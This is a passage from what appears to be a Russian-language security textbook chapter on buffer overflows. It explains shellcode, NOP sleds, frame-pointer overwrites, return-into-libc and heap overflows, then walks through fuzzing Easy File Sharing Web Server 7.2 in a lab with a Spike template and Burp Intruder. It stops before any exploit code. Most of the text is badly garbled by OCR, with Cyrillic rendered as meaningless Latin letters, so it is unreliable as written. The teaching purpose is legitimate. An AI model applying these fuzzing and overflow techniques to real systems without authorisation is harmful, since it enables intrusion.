T var_

Puc. 15.5. Bua creka nocne BTOpPOro wara anunora gyHKumm

B Unix-1io106HbIX CHCTEMAX CaMbIM MOITYJISTPHBIM BHIOM KOJIA Y 3JI0YMBIIIJIEHHUKOB
seastercst mesui-koz. Mlesn B Unix — 310 mporpaMMHast 060JI09Ka, KOTOPast peji-
crasJisieT co6oi nHTepdeic st KoMaHAHOM cTPoKu. [To yMoIyaHio B GOJIBIIMHCTBE
CHCTEM UCIIOJIb3yeTcs KOMaHIHbIN nHTepiperaTtop bpoyna (Bourne Shell), Haxomus-
upuiicst B upexropun /bin/sh. Ilembio mesn-ko/a, chopMUPOBAHHOTO 3JI0YMBITILIEH-
HUKOM, SIBJISIETCSI 3aIlyCK HHTEpIperaTopa us aupekropuu /bin/sh. dto nossossier
ATaKyIoOIIEMY TTOJTYIUTh TOCTYI K WHTepdeicy, B KOTOPOM OH CMOKET BBITIOTHSATD
Jir06bIe KOMAH/IBI OT MIMEHH TI0JIb30BATEJIs, 311y CTHBIIETO TIOIBEPIHYBIIYIOCS B3JIOMY
MPOTPAMMY.

[IpuMepsl TAKOTO MMIENI-KO/Ia MOKHO HAalTH B HHTEpHETE. [TTaBHOE TIPEnMyTIecTBO
IIEJUI-KO/Ia — 9TO pasMep, OOBIYHO OH COAEPKUT He Hosiee 60 HailT. ITO OUEHD BaK-
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HO, TaK KaK B TPOTIecce MepenonHentst Oydepa atakyionmuii 3aiuiieH oT ToTo, 4To
chOpMUPOBAHHBIN KO/ BbIW/IET 32 IIPe/ieJibl OTBEJEHHON IIPOrpaMMe aMsITH.

X < BP PerncTpbl
P P
SP T
BP w’
Y
param_

BpenoHoCHbIN

S Koz
W S <— TlogpaenbHblil agpec Bo3Bpara
. | <— BP
Mpon3BonbHbIN
W Ko <— Hauano 6ydepa
T var | <— SP

Puc. 15.6. CocTtosiHne cteka nocne nepenonHeHuns bydepa

Jlst arax Ha [TO, pabotatotiee tox ynpasiaenuem OC Windows, Takske puMeHsieT-
csI TIeJUT-KO/I, HO UCTIOJ/Ib3yeTcst OH mHave. [Ipu yaajieHHOM tiepenosinernn Gydepa
cucTeM Win32 MCTOMB3YETCs KIACCUYECKUN METO/I, TIPH KOTOPOM HEOOXOIMMO 3a-
CTaBUTh MAIITMHY JKEPTBbI CKauaTh (Dailyl U3 CeTU U BBITOJHUTE €ro. Buaumo, ato
MPOUCXOJUT W3-32 TOTO, YTO UMEHHO TAKOU METO]] ATAKH OMUCHIBAET OOIBITHHCTBO
PYKOBOZCTB, IIOCBSLIEHHbIX WH(POpMaLKMOHHON Oe3onacHocTi. OfHAKO HPaKTUKA
MOKA3bIBAET, UTO TIeJT-KOL st Windows MoskeT paboTaTh M0 TAKOMY K€ TIPUHITHITY,
kak u 71t Unix.

Jlaske ecJin Bari 1ieJi-KO/[ MPeIOCTABUT BaM TIOCJIe YAQUHOU aTaku JOCTYI K KOMaH/I-
HOI CTPOKE HA CTOPOHE KEPTBbI, BHITIOJHEHUIO HATIPABJCHHON HA MEPeroJHeHne
Gydepa araku Beera OyayT IPEISITCTBOBAT CJIEAYIOIINE TPOOIEMBL:

® 1HeoOXOAMMOCTD yrajlaTh 3HAUEHUE, KOTOPOE HYKHO TIOMECTUTD B TIO//IEIbHbII
ajipec BO3BpaTa;
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® HeoOXOANMOCTD yTaIaTh MECTOHAXOXKIEHIE aapeca Bo3spara B cteke (W B Ha-
1IeM caydae);

® HeoOXOAUMOCTh YOEANTHCS B TOM, UTO IIEJI-KOJ HE COAEPIKUT HYJIel, TaK Kak 9TO
pUBEET K HeMeJIECHHON OCTAaHOBKE €T0 BBHITTOJHEHUS.

HepBaH 1 BTOpasd HpO6JI€MbI 0OBIYHO BCTpEYarOTCA OHOBPEMEHHO. OCHOBHBIM CITO-
coboM nxX IIpEo0JIEHNA ABJIACTCAL

e wucnonb3zoBarare NOP-unctpyknmit. NOP-wHCTpYKITUS HUYEro He /iejlaeT U cTa-
BUTCSI TIEPEJT eNJI-KOIOM;

® HEOJHOKpATHOE IMOBTOPEHUE MPE/IIoJaraeMoro HadyaabHoro ajapeca B copmu-
POBAHHOM KOJIe, UCIIOJIb3YEMOM JIJIsi HATIPAaBJIEHHOI Ha mepenoanenue Gydepa
aTaKM.

Lenn-kop,

NOP

NOP

NOP

HauanbHbIn agpec

HauanbHbi agpec

HavanbHbIn agpec

Puc. 15.7. CocTosiHMe namMsiTV BO BPEMS aTaku, HanpaBneHHOw
Ha nepenonHeHue bydepa

Ha puc. 15.7 uso6paxen 6ydep, B KOTOPBII IIOMEIEH SKCILIONT IS €0 TePeroJi-
Henug. VIcmomb3ys aTOT TMOAX0/], Mbl yBEJIMUYNBAEM BEPOSATHOCTD TOTO, YTO HAYAIb-
HBIIT a/[pec mepe3aruiieT aapec Bo3spara. bosee Toro, Terepb HaM He 00sI3aTeTbHO
[epeHanpaBUTh BBITIOJIHEHNe MMEHHO Ha HavyaJlo 1IeJI-KOo/ia — JOCTaTOYHO TOro,
uro AJIY nepeiiger Ha 00y 13 NOP-uncrpykimii. Korma AJIY nonazer Ha NOP-
WHCTPYKIMH, OHO OY/IET TIPOTTYCKATh UX OJIHY 32 JAPYTOil 10 TEX MOP, MOKa He AOUIeT
J10 TeJIJI-KOJIA ¥ He BBITTOJIHUT €TO.

TpeTbe ycaoBIEe MOKET OBITH BBITTOIHEHO 3aMEHON HyJIsT Ha CUMBOJ ¢ KooM 90h, Tak
KaK MallliHHast HHCTPYKIust ¢ Kogom 90h — ato NOP.

Emte oxun criocob nzbexarh HyJIeBOro 6HaifiTa — MaCKMPOBAHUE YAaCTH THEJI-KOJIA.
Mozkno 3amenuts Bee 0 Ha 1, a B 1IeJI-KOL BCTPOUTD (DYHKIIMIO, KOTOPast peod-
pasyer ux 06paTHo.
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Cy1iecTByeT 1 BO3MOKHOCTD HAITMCAHUS TIEJUI-KOAA 5T X86-apXUTEKTYPbI € UCIOJb-
30BaHKUeM OYKBEHHO-IIM(DPOBbIX 3HAYCHUIA. TaKoii KO/, €CJIM OTKPBITH €T0 B TEKCTOBOM
penakTope, Oy/IeT BbINJISAAETh KaK HEMOHATHBIH HAaGOp 1udp GOJIBIIMX 1 MaJTeHbKUX
OyKB. ITOT HOAXOZ JAeT aTaKyIoIIeMy OOJIbIIOe IPEUMYILECTBO, TaK KaK IIO3BOJISIET
usbeskarTh OOHAPYKEHUS TIeJUI-KO/[a CTAHAAPTHBIMU CPEACTBAMU 3aIUTHL,

Mepesanucb ykazatens dhpenma

Met yske yOeanInCs, 4T0 BO3MOKHOCTD OCYIIECTBICHUST Pa30HeHNs CTeKa MOSIBIIS-
eTCsl M3-3a OTCYTCTBHSI IIPOBEPKU pasMepa Haxozsimuxcst B Gydepe JaHHBIX WK ee
HelpaBUJIbHON opranusanyu. [TosToMmy MakcMMaIbHbII pasMep 1eJLI-Kojla 3apaHee
HEU3BECTEH.

JIpyroii pacripocTpaHeHHOH ONMOKO# U IporpaMMIpoBaHIy Ha si3bike C SBJIsIeTCst
Tak HasbiBaeMast off-by-one error, nim onmbka Ha exuHuILy. Yalie Bcero oHa mpowuc-
XOJIUT B TINKJTE, BBITIOIHSIONIEM TIEPeOOp 2JIEMEHTOB: HATTPUMED, TIepebop IEMEHTOB
MaccuBa HaunHaeTcst ¢ 1, a ve ¢ 0.

MoskeT co3MaThCst JIOKHOE BIIeYATIeHHe, UYTO HITIETO TUIOXOTO U3-32 OMHOTO OaiiTa
IPOM30ITH HE MOXKET, HO 3T0 He Tak. Ha camoMm fiesre B 3TOM ciTydae Tepest 370y MBIII-
JIEHHUKOM OTKPBIBAIOTCSI HOBBIE BO3MOKHOCTH MAHUTIYJISITING ¢ O6yhepoMm.

ITpencraBum cebe cuTyalnio, B KOTOPOI HiepBast JIOKaJIbHast iepeMeHHast Bo Gppeiime
creka sBisercs OydepoM, Ya3BUMbIM K aTakaM 110 Tuiry <off-by-one error» Bo Bpems
06pabOTKH TOJIb30BATEIbCKUX JaHHBIX. B cirydae, Koria Mex/Iy JaHHOI mepeMeH-
HOU 1 yKaszareseM (GpeiiMa HeT APYTUX JaHHBIX, BBEACHHBIN OTIOJTHUTETBHBIN GaliT
MOJKET IIepercaTh OfuH GailT coxpaHeHHOro ykasatess ¢peiima (X Ha puc. 15.4).

XopoliIo To, 4To 13-3a COXPaHeHHOTO ajipeca Bozspara (V na puc. 15.4) y 3/10ymbiii-
JIEHHUKA He Oy/IeT BO3MOKHOCTH BBITIOTHUTD IIEJIJI-KOJI, KOTOPBII OH MOT 3aTPy3UTh
B Oydep 3apanee.

[Toxas ske HOBOCTH B TOM, UTO JIJIst IOCTVKCHUST JAHHO T[eJTH 3I0YMBITIUICHHUKY
Hajl0 COBEPIITUTH BCETO JIUIITh APy AOMOJHUTENBHBIX JeficTBI. B apxutektype x86
[aMATh OPraHU30BaHa TaKKM 06Pa3oM, 4To HarboJiee Ba)KHbIM sBJIseTcs OailT ¢ Hau-
MenbuM azgpecoM «little endian». D10 o3HavaeT, 4ToO U3 YeThIpeX GUTOB, KOTOPbBIE
COCTABJISIIOT CJIOBO, TIEPBBIM HET OWT, IMEIOIIII HAMMEHbIITY0 BAsKHOCTD MJIH CaMBbIil
HU3KHIT asipec. Ecii IpoBecTr aHAJIOTHIO € AECATUYHOM CHCTEMOH, MOJIYYUTCS, YTO
uucsia GyJIyT 3arucanbl B 0OpaTHOM Mopsike, HanpuMep 1234 6yner coxpaneHo Ta-
KuM 06pasoM, 4To 4 GyjieT uMeTh HU3IIUH ajipec B TTaMsTH, a 1 — BBICIIHIA.

Ternepb IPeAIONOKIM, UTO TiepenoHeHre mpoucxoant B pyrkiun bad func(), ko-
Topast BbisbiBaeTcst GyHkIpei good func(). B xo/ie aTaku 3710y MBITIJIEHHUK CMOJKET
U3MEHWUTD HUIINIT GUT — B HaIlleM npuMepe nudpy 4 — COXpaHeHHOTO yKa3aTelist
dpeiiva pynxumu good func(). [Touemy a10 Tak BaxkHo? IIpencTaBbre, 4TO MOPAAOK
6uToB B mamaTH Oyner apyrum, <big endian», — Torma moboe u3MeHeHne 3Ha4eHusT
yKazatessi ppeiiMa TPIUBOIIIIO OBl K YKA3AHUIO HA afpec, KOTOPBIH HAXOIITCS BHE
TEKYIIEro KOHTEKCTa UCIOMHEeHNs TporpaMmbl. Hampumep, 1234 nomeHstioch Obr
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Ha 3234. Ho B HamieM ciyyae Mbl MeHsIeM HU3IIUH Oaiit, Harpumep 1234 wa 1232.
W y 3noymbllIeHHUKA €CTh BCe IIAHChI IOMEHSATD ajipec yKadatess gpeliMa Ha Ta-
KOH, KOTOPBII IIPUBE/ICT K BBITIOJHEHUIO 3arPy>KEHHOTO THeJI-KOJIA.

Kaxk ysxe 6b110 cKazano, ykaszaTeab (ppeiiMa nCImoIb3yeTcst As JOCTyIa K mapa-
MeTpaM M JIOKaJbHBIM IepeMeHHbIM (GyHKIuuU. [lepBbIM pe3yIbraToM N3MeHEeHUsT
ykazatess dpeiiva pyrkuun good func() 6yaer ee paboTa ¢ HelpaBUIbHBIMU
JNaHHBIMK U, KaK CJeJCTBUE, BO3BpalleHne HellPaBUIbHOTO pesybrara. B mydiiem
cllydae I0CJIe TOro, Kak (PyHKIUS ONBITAETCS 00PATUTHCS K sS4eliKe IIaMsTH, Ha-
XOAAILIelics BHE HOILyCTUMOTO PaHee BBLIEJIEHHOTO NHTEPBaJa, IIporpaMMa OyaeT
HKCTPEHHO 3aBepuieHa. [Ipu xyamem pasButun coOBITHI OyET JOCTUTHYT SITAIOT
dynkimn good _func(). Ha tperbem niare anmora GyaeT BBITOJHEHa KOMaHAa POP,
IIPU [IOMOIIM KOTOPOM B yKazaTeJb MHCTPYKI[UK CKOIIUPYETCsI 3HAYEHe, HaXOsIIle-
ecst 3a ykazaTesieMm (peitma.

Wrtak, eIUHCTBEHHOE, YTO HAJO CAEIaTh JJIsI BHIIIOJIHEHNS MIE/LI-KOa, — 9TO U3Me-
HUTBH COXPaHEHHOE 3HaUeHe yKasaresst ppeiima yrkimu good func() Ha Takoe, Ko-
TOpoe OBl YKa3bIBaJIO HA a[PECHOE MTPOCTPAHCTBO B 06JIACTH TTaMSITH, HAXOISIIEHCs Ha
OJIHO €JIOBO HUXKe. [ie n Oyaer HaxoAUThCs HavajlbHast yacTh miesui-koga (puc. 15.8).

MapameTpbl
byHKLMM
Appec
BO3BpaTa g
o)
CoxpaHeHHoe 2
.
—> 3HaueHne S MapameTpbl
yKasartens 2 byHKLMN
dpenma
Appec
JNokanbHble BO3BpaTa
nepemeHHble
CoxpaHeHHoe
MapameTpbl g eSS T
dyHKLMM ykasatens 2
dpenma IE"
Appec 3
BO3BpaTa g ©
o
COXpaHeHHOE ls_:h Ap‘pec Hayana
3HaueHune 2 wenn-kKoaa
yKasaTens e
$peima > 3arnywka»
A
> -
JlokanbHble L2 ey
nepemeHHble
Jo nepenonHeHusa 6ydpepa Mocne nepenonHeHnsa bydepa

Puc. 15.8. Mepe3anuck ykaszatens dpenma
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ATaka Bo3BpaTa B bubnnoteky

Jluist paccMoTpeHus atak Bosspara B Oubinoreky (Return-into-libc) BHoBb 06paTiim-
cs K puc. 15.2, Ha KoTopoM usobpaskeH crek mepes Bbizopom my_func(). Eciu nocmo-
TPETh HA CUTYAIMIO C TOYKY 3PEHUS BHI3BIBAEMOIT (DYHKIINH, TO BHAYAJIE CTEK Oy/IeT
COZIEPIKATD A/IPeC BO3BPATA, KOTOPBII OHA JOJIKHA MCIOJIb30BATH, 4 3aTEM — IIapaMe-
Tpbl. Kak ynmomuHaiocs B paszienie «PasbueHue crekas, OCHOBHOM IIEJTBIO aTAKYOIEro
SIBJISIETCS 3aITyCK TIEJI-KO/A [JIsT TOJTyUeHus 1ocTyna K crcteMe. OObIMHO Mogo0HbIe
mesT-Koabl B Unix-1ogo0HbIX CHCTEMaX UCHOJIb3YIOT Takue (hYHKIIH, Kak system()
wim execve(), a B cucremax oz yipasiaenueM OC Windows — WinExec(). [lanubie
(OYHKITIY B KAaUeCTBe MapaMeTpa BbI30BA UCIIOJIB3YIOT UMsI TPOTPAMMBI U (UJIH) Ty Th
K Hell.

Kax AJIBTECPHATUBY paS6I/IeHI/HO CTE€Ka MCIIOJIb3YIOT HpHMOfI BbI3OB OHpelIeJIeHHOﬁ
(byHKHI/II/I. ﬂaHHbeI crocob numeer OJIHO Ba’XHO€ IIPpENMYUIECTBO — €TI0 HEJIb31
IIpeaoOTBPATUTDb, NUCITIOJIb3Yy Sl 3alUIIeHHBINA OT UCIIOJTHEHUST CTEK.

JIJ1sT OCYTIECTBIIEHS TAKOTO BU/IA ATAKHU OY/IET TOCTATOUHO TTEPE3ATNCaTDh aPec BO3-
Bparta azipecoM (HYHKITNH, KOTOPYIO HeOOXOINMO BHI3BATD, 3ATIOJTHUTD STYEHKY ajpeca
BO3BpaTa BbI3bIBAEMON (DYHKIIMU CJIydaliHBIMU JaHHBIMU — <3alJIYIIKOI», @ B KOHIIE
3a/1aThb [TapaMeTpbl BbI30Ba (DYHKITUH.

X Peructpbl
IP R
SP W
Y BP P
napamerp,
napametp,_
«3arnyLKa»
W | Q—&libfunco «— 5P
W’ | P

Puc. 15.9. Ataka Bo3BpaTa B 61Mbnnoreky

Ha puc. 15.9 nokazano cocrostiue 6ydepa U perucTpoB MocJe MpoBEAeHUsT aTaku
BO3Bpara B OMGIMOTEKY MOCTE BTOPOTO Tara smmiora. HopManbHoe COCTOSTHIE CTeKa
HA AaHAJIOTUYHOM IIIare MOKaszaHo Ha puc. 15.5. Hauambubiit anpec 1meneBoit GyHKIINH
libfunc() — Q — Gymer 3aHeceH B ykaszaTenb HHCTPYKITN HA TPETHEM IIATE ATHIOTA
oneparopoM POP 110 angpecy R. Eciii JaHHYIO CUTYalIUIO CPAaBHUTH ¢ M300PaKeHHOM
Ha puc. 15.5, MOKHO 3aMETHUTb, YTO TTapaMeTphbl A Bbizoa libfunc() casumyTsr
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BBEPX Ha OJTHO CJIOBO, — 9TO HEOOXOMMO JIJIST YCTAHOBKH «3arynikus». HTepecHo,
9TO MOJJIE/IbHOE 3HAUEHHUE yKa3aTest hpeiiMa P GyieT cHOBa 3aHECEHO B CTEK TTOCTIE
BbinosHeHus mposora ¢yukuuu libfunc(). B saBucumoctu or OC, apxXUTEKTYpbI
U 11eJIeBOM (DYHKITMHU TIPOTIECC HAXOMKACHUST ajipeca HYKHON (DyHKIIUU MoKeT ObITh
3aTpy/IHeH, HO 9T0, 6e3yCTOBHO, BIIOJIHE BBITIOIHIMAS 33/1a4a.

MepenonHeHne AnHaMuyeckon obnactn naMaTm

Benomunm, uro nipu nomonu ¢yukimr malloc() mporpamma MosKeT 3arpainiiBaTh
HeoOXOMMOe KOJIMYEeCTBO HaMATH B fuHamudeckoii obuactu (heap), a mociie ucioui-
Henust Bosppaiiath OC ynpasiieHne HaJl TaHHOI 00JIACTBIO TIPU MOMOIIH (DYHKIHN

free().

Ecou BbI MOJKeTe pasMecTuTh B aMsiTi 6ydep, To, CIeJ0BATENBHO, KTO-TO CMOJKET
atot Gydep nepenonuuThb, OFHAKO BBITIOJHEHNE aTaKU, HATIPABJIECHHON Ha MeperoJi-
HeHne HAXO/SIIETOCS B INHAMIYECKOH 00macTi Oydepa, OTINIAeTCsT OT TAKOBO#
pu pacrosoxkennu 6ydepa B creke. OTIHYNE COCTOUT B TOM, UTO BbI HE HalijieTe
yKasatesh (hpefiMa I agpeca Bo3BpaTa, KOTOPLIH MOKHO OBLIO ObI TIEpe3anucaTh,
9TOOBI 3aTEM HATIPSMYIO 0OPATHTHCSA K BHEAPEHHOMY 3J0OYMBINIICHHIKOM KOJY.
Ho, k coxkanenuio, 3To He CrAcaeT OT IPOBE/IEHUsT aATaK.

B ocHOBe JIe:kUT yke 3HAKOMAs HaM CUTyalns. ECcTb HeocTaTOUHO 3aluIeHHbBIT
6ydep, B KOTOPOM He peai30BaHa HaJlesKaliM 00pasoM IPOBEPKa BO3MOKHOCTH
BBIXOJIA 32 TIPEJIEThl BbI/IeJIEHHON MaMsATH. Takyke UMeTCsd y9acTKU, KOTOPBIE TTPO-
rpaMMa UCIIOJIb3YeT, XOTsI OHU HAXOIATCs 3a MpaHuIlell BbIAeJIeHHON eli obmacTu
MaMATH, Ky/a 3JI0YMbIIIIJIEHHUK MOKET 3aHECTU TTPOU3BOJIBHbBIN KOJI.

JlJtst peamsaiiiy Halero mojaxoia Mel Gyjgem paborath ¢ cekiusmu data u bss.
B xadecTBe iprMepa MpuBeeM BEKTOP aTaKu ¢ UCTIOJIb30BAHUEM 3JI0YMBILIEHHU-
KOM TiepernosiHenust Gydepa /st ToJIMEHbI UMEHH BPEMEHHOTO (haiiia, ¢ KOTOPBIM
paboraer mporpamMMa. XpaHUJIUIIEM /TSI BDEMEHHBIX JJAHHBIX MOKET OBITH KOH-
dburypanronubiii (aiin daitepBosia uiau cucreMbl 0OHAPYKeHUsT atak. B caydae
TaKOU MOAMEHBI 11eJI€BOH (Dailsr OyeT mepesaricad BpeMEHHBIMU JIAHHBIMU, 1, B 3a-
BUCHUMOCTH OT CTEIIEHU 3AIUTHI 1IE€JIEBON CUCTEMBI, 3TO MOKET MTPUBECTH K CaMbIM
CEPbE3HBIM TMOCJIEACTBHUAM BILIOTH /IO TOTO, YTO CUCTEMA 3AIMUThI MOXKET TIPECTATh
(YHKIIMOHUPOBATH BOOOIITE.

XopourM MpUMepoM aTaki mepenoHeHus Oydepa MOKeT cTaTh METOJ C mepe-
3alKChIo yKazaresss GYHKIMU. YKazareab QYHKIUN COAEPKUT HAYATbHbBII a[pec
bynkiu. Bo Bpems onvicanust ykasareas (GYHKIUE B IPOrPaAMMe 3a/[aeTCst TUIT
¥ KOJIMYECTBO TIapaMeTPOB /ISl €€ BbI30Ba. B HEKOTOPBIX CJIydasix ONMUCHIBAIOTCSI
BO3BpalllaeMble aHHbIe. YKazaTesu GYHKIMI yI0OHbI, €CIIN Y BaC €CTh Psi/l BHIOJIHSI-
IOIIMX OJMHAKOBbIE 3a7aurt (DYHKIMI, a BaM HY/KHO yKa3aTh KOHKPETHYIO (DYHKI[HIO
JUIS BBITIOJTHEH U KOHKPETHOM 3a/1a41 BO BPEMST CTIOJHEHUS TPOTPAMMBI (CKaKeM,
(YHKIMN 11 COPTUPOBKH, YYUTHIBASA, YTO KayK/BIH aJITOPUTM UMEET CBOM CUJTbHbBIE
u cjrabble CTOPOHBI).
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SJIOyMbILHJI€HHI/IKa MaHHbIE TTapaMETPhl HE MHTEPECYIOT, €EMYy BaKHO y3HATDb aJipec
B ykazaresie dyukiuu. OH MOMBITAETCS 3aMEHUTD €r0 YKA3bIBAIOIUM Ha HAYAJIO0
006JIaCTH TTAMSITH, B KOTOPOH y3Ke HAXOJMTCSI BPEIOHOCHBIN TeI-Ko/. [list TIoBbI-
HeHnA BEPOATHOCTU IPOBEECHUA yCHeIHHOfI aTaK1 MOJKHO HCIIOJIb30BaTb ME€TO/1bl,
omcanmbie B paszene «Pa3buenue crexas.

[puMep HaxoXxaeHus 1 aKcnyaTauum
YS13BMMOCTU nepenonHeHus bydepa

PaccMoTpuM mpuMep HaxXOKAEHUs! YSI3BUMOCTH TiepenoJiHeHus Oyepa B mporpam-
me Easy File Sharing Web Server 7.2. ToToBbIil 9KCIITOUT MOKHO HaliT Ha https://
www.exploit-db.com/exploits/40178/, HO MbI IOBTOPUM €T0, HAUMHAasl ¢ HaXOXK/IEeHU
YSI3BUMOCTHU M 3aKaHUYMBasl yIaJeHHBIM BbIIOJTHEHEeM Koja. [laBHO 0OGHapy KeHHast
YSI3BUMOCTb MI€AIbHO MOAXOANT /IS OOy IEHMSL.

IIJIFI TIOMCKaA YA3BUMOCTHU 1 HAIITMCAHUA SKCHHOﬁT-KOHa H€O6XOIII/IM3 TECTOBadA cCpea.
B HaHHOﬁ AEMOHCTPAITNN MbI UCITOJIb3YEM IBE€ BUPTYAJIbHbIC MAIlIMHDI:

e Windows 11 Pro 64-bit ¢ ycranosienusim Ollydbg miist anamusa paborst npu-
JIOFKEHUST U HATTMCAHWSI 9KCILIONT-KOIa;

e Kali Linux ¢ Metasploit Framework nis redepanuu miejui-koma (1oJie3Hoii Ha-
TPY3KHU) U APYTHX 33/1a4 110 Mepe HANCAHUS HKCILIONT-KO/a.

Jlist GoJiee IeTaIbHOTO O3HAKOMJICHUSI C TeMOM BBITIOTHEHUSI aTak, HATPABIEHHBIX HA
nepermnoJHeHre Oydepa, pekoMeHyeM Hauatb co ctparniisl «Corelan Team: Exploit
writing tutorials» (https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-
part-1-stack-based-overflows/).

I/ITaK, TIPUCTYIUM K HaXOK/ICHUIO YA3BUMOCTH.

O6e BUpTYaIbHbIE MAIIUHBI HAXOAATCS B OJHON JIOKATBHON CETH 1 UMEIOT CJIIY-
onue aapeca: Kali Linux — 10.0.0.5/24; Windows 11 Pro (Easy File Sharing Web
Server) — 10.0.0.6/24.

[TpoBepum, 4TO IPUJIOKEHNE AOCTYITHO C HaIlllel aTakyiomeil Mamuib (puc. 15.10).

Pacemorpum HTTP-3armpoc, oTipaBiisiemMblii /17151 3a11poca JIAaHHOM cTpaHuIlbl (MOKHO
nepexBaTuTh ¢ momorbio Wireshark nim mpokcn):

GET / HTTP/1.1

Host: 10.0.0.6

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close
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0 B 10.0.06

[
g& User Lagin

Note; Username and Password are case sensiive.
Password. | 1 forges my password
Logint | (] memember me

fegin 04 0 guest | secure ogin

Poestelby Evxsy Fle Sk g W Semvey
Copyift € 2012 E°S Sz b

Puc. 15.10. Be6-unHTepdelic Easy File Sharing Web Server

Byzem ucronb30BaTh JaHHBIN 3aIIPOC TSI TOUCKA YSI3BUMOCTH MEPETIONHEHUsT OY-
depa myTem hassuHra, To ecTh repebopa pasJIuuHbIX 3HAYEHUI B PAa3JIMIHbIX MECTAX
3arpoca.

[annbiii 3anpoc gBisiercs ctangapTabiM HTTP GET-3ampocoM, B KOTOPOM MOKHO
BBIZICJIUTD IEPEMECHHDBIE 110 CJACAYIOMIEMY ITPUHITUITY:

GET / HTTP/1.1

Host: 10.0.0.6

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

MoskHO po0OBaTh U3MEHATH BCE MapaMeTpbl 3aIpoca, HO I Havyajla IoIpodyeM
usMenuTh ToJ1bKo Path, Host, User-Agent.

Ins daszsunra ucnosapsyem Spike (moapo6Ho omumcan Ha http://resources.
infosecinstitute.com/intro-to-fuzzing/#gref). Coznagum TeMILIeilT /IJ1d TIONCKA YsSI3BU-
MOCTH:

s_string("GET");
s_string(" ");
s_string_variable("/");
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");

s_string("Host: ");
s_string_variable("10.0.0.6");
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s_string("\r\n");

s_string("User-Agent");

s_string(": ");

s_string_variable("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0");

s_string("\r\n");

s_string("Accept");

s_string(": ");
s_string_variable("text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,*/*;q=0.8");

s_string("\r\n");

s_string("Accept-Language");
s_string(": ");
s_string("en-US,en;q=0.5");
s_string("\r\n");

s_string("Accept-Encoding");
s_string(": ");
s_string("gzip, deflate");
s_string("\r\n");

s_string("Connection");
s_string(": ");
s_string("close");
s_string("\r\n\r\n");

B kauecrBe anbrepHaTuBbl Spike MoxxHO 06paTtuThest K MoayJto Intruder Burp-
npokcu (puc. 15.11 u 15.12).

1 = 2%+

Positions Payloads Resource pool Settings.

@ Choose an attack type

Attack type:| Sniper

(® Payload positions
Configure Lhe positions where payloads will be inserted, they can be added into Lhe Larget as well as Uhe base requesl.

Target: | hitpdf0.0.0.6

GET §/§ HTTP/1.1

Host: 518.8.0.6%

User-Agent: §Mozillas5.@ (X11; Linux x86_64; rv:102.0) Gecko/20120101 Flrefox/1le2.@§

Accept: Btext/html applications/xhtml+xml application/xml;q-8.9 image/avif image/webp, */*;q-0.8%
Accept-Language: %en-US.en:q-2.5%

Accept-Encoding: Sgzip, deflated

Cannection: Sclosel

upgrade Insccure Kequests: 1

o0 0wl O W B W R

Puc. 15.11. Burp Intruder — npumep KoHdurypaumm ansa dassuHra
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Positions Payloads Resource pool Settings

() Payload sets

You can define one or more payload sets. The number of payload sets depend:
customized in different ways.

Payload set: |1 v| Payload count: 199

Payload type: | Character blocks. w | Request count: 1,393

@ Payload settings [Character blocks]
This payload type generates payloads based on blocks of a specified character]

Base string:
Min length: EI
Max length: @
Step: EI

Puc. 15.12. Hactpolika nonesHon Harpy3ku B Burp Intruder

[Tpu 3anycke Spike mpuiosxkenve Ha TEPBOM JKe MapamMeTpe BBIAET OMMOKY
(puc. 15.13).

g

80 http.spk 0 0

Puc. 15.13. ®az3uHr co Spike

B ciryuae ¢ Burp MoMenT oTkasa npusioskenust Buen gydire (puc. 15.14).
IMepesamyctum npuioxenue 1 noakaournm Ollydbg k mporecey (puc. 15.15).

3anyctus Burp Intruder win Spike cHoBa, nosrydaeM HHGOPMAIIUIO O COCTOSTHUN
NPUIOKEHUs B MOMEHT omlnbOkn. CoCTOsSIHIE PErueTpoB MoKazaHo Ha puc. 15.16.

YuuThiBas COCTOSIHUE PETUCTPOB M TO, UTO OIMUOKA TOSABJISETCS TIPU IEPBOM JKE 3a-
mpoce ot Spike
Fuzzing Variable 0:1

Variablesize= 5004

a Burp mokassiBaer, uTo ommnbKa mosiisiercst mpu ormpaske 4100 cUMBOJIOB, MOKHO
cliesiaTh BBIBOJL, UTO OIMNOKa BhI3BaHa TiepenosiHeHreM Oydepa B mepeMeHHoit Path
HTTP GET-3anpoca c giunoit 5000 ciMB0OJIOB «A».
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= 1 ~wwu — — g
BU 1 4050 % A 400 (] O s
3l 1 A100xA )] @]
(7 1 4150 %A ] ]
83 1 420037 O 0
24 1 AISOWA (] ]

Request

Pretty Raw Hex:
1 GET

AAAAAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAARAAAAAAARAAAAAAARAAAAAARAAAAAAARAAARAAAAAARAAAAAAARARARAAAAAAAARAARAAARAAAAY
AAARAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAAAARAAAAAARAAAAAAARAAAAAARAAAAAAARAAARAAAAAARARAAAAAAARARARAAAAAAAARAARAAARAAAAY

AAARAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAAARAAAAAARAAAAAAARAAAAAARAAAAAAARAAARAAAAAAAAAAAAAAAARARAAAAAAAARAAA HTTP/ Y

Host: 18.8.R.6

User-Agent: Marilla/5.8 (¥11; Linux xB6_64; tv:1A7.08) Gecke/?8100101 Fitetox/102.0

Accept: text/html, application/xhtmlixml,application/xml:q-8.9, image/avit, image/webp,*/*;q-0.8
Accept-Language: en-Us. en:g-¥.%

Accept Encoding: gzip, deflate

Connection: close

Upgrade Insccure Requests: 1

[ T

Puc. 15.14. MoMeHT 0TKa3a npuoxeHus B Burp

ioll":[)bg fsws.exe - [CPU - thread 00002004, medule ntdll]

g File View Dcbug Plugins Options Window Help

Slex| inf sgx) e W) o lEjmjT|win|c]s]k|B|R|.|s| =R
e -

77 Select process to attach

il Wi Fath

